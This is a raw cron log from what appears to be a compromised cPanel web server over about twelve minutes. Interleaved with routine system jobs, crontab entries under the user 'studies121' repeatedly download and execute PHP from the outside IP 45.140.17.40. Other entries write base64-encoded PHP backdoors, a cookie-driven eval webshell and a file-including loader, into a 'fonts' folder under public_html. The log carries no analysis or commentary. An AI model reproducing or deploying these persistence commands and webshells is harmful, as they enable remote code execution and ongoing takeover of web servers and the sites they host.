Sep  1 03:48:01 ip-184-168-122-23 CROND[10310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:48:01 ip-184-168-122-23 CROND[10308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:48:01 ip-184-168-122-23 CROND[10311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:48:01 ip-184-168-122-23 CROND[10313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:49:01 ip-184-168-122-23 CROND[10515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:49:01 ip-184-168-122-23 CROND[10516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:49:01 ip-184-168-122-23 CROND[10517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:49:01 ip-184-168-122-23 CROND[10518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10651]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:50:02 ip-184-168-122-23 CROND[10654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:50:02 ip-184-168-122-23 CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:50:02 ip-184-168-122-23 CROND[10655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:51:01 ip-184-168-122-23 CROND[10869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:51:01 ip-184-168-122-23 CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:51:01 ip-184-168-122-23 CROND[10872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:51:01 ip-184-168-122-23 CROND[10876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:52:01 ip-184-168-122-23 CROND[11012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:52:01 ip-184-168-122-23 CROND[11013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:52:01 ip-184-168-122-23 CROND[11015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:52:01 ip-184-168-122-23 CROND[11017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:52:01 ip-184-168-122-23 CROND[11016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:53:01 ip-184-168-122-23 CROND[11115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:53:01 ip-184-168-122-23 CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:53:01 ip-184-168-122-23 CROND[11117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:53:01 ip-184-168-122-23 CROND[11119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:54:01 ip-184-168-122-23 CROND[11322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:54:01 ip-184-168-122-23 CROND[11324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:54:01 ip-184-168-122-23 CROND[11326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:54:01 ip-184-168-122-23 CROND[11327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:54:01 ip-184-168-122-23 CROND[11325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:55:01 ip-184-168-122-23 CROND[11464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:55:01 ip-184-168-122-23 CROND[11466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:55:01 ip-184-168-122-23 CROND[11468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:55:01 ip-184-168-122-23 CROND[11469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:55:01 ip-184-168-122-23 CROND[11467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:55:01 ip-184-168-122-23 CROND[11470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:56:01 ip-184-168-122-23 CROND[11608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:56:01 ip-184-168-122-23 CROND[11610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:56:01 ip-184-168-122-23 CROND[11614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:56:01 ip-184-168-122-23 CROND[11612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:56:01 ip-184-168-122-23 CROND[11613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:57:01 ip-184-168-122-23 CROND[11712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:57:01 ip-184-168-122-23 CROND[11713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:57:01 ip-184-168-122-23 CROND[11714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:57:01 ip-184-168-122-23 CROND[11715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:58:01 ip-184-168-122-23 CROND[11808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:58:01 ip-184-168-122-23 CROND[11812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:58:01 ip-184-168-122-23 CROND[11810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:58:01 ip-184-168-122-23 CROND[11811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:58:01 ip-184-168-122-23 CROND[11813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:59:01 ip-184-168-122-23 CROND[12000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:59:01 ip-184-168-122-23 CROND[12001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:59:01 ip-184-168-122-23 CROND[12003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:59:01 ip-184-168-122-23 CROND[12002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:00:01 ip-184-168-122-23 CROND[12110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:00:01 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:00:01 ip-184-168-122-23 CROND[12115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
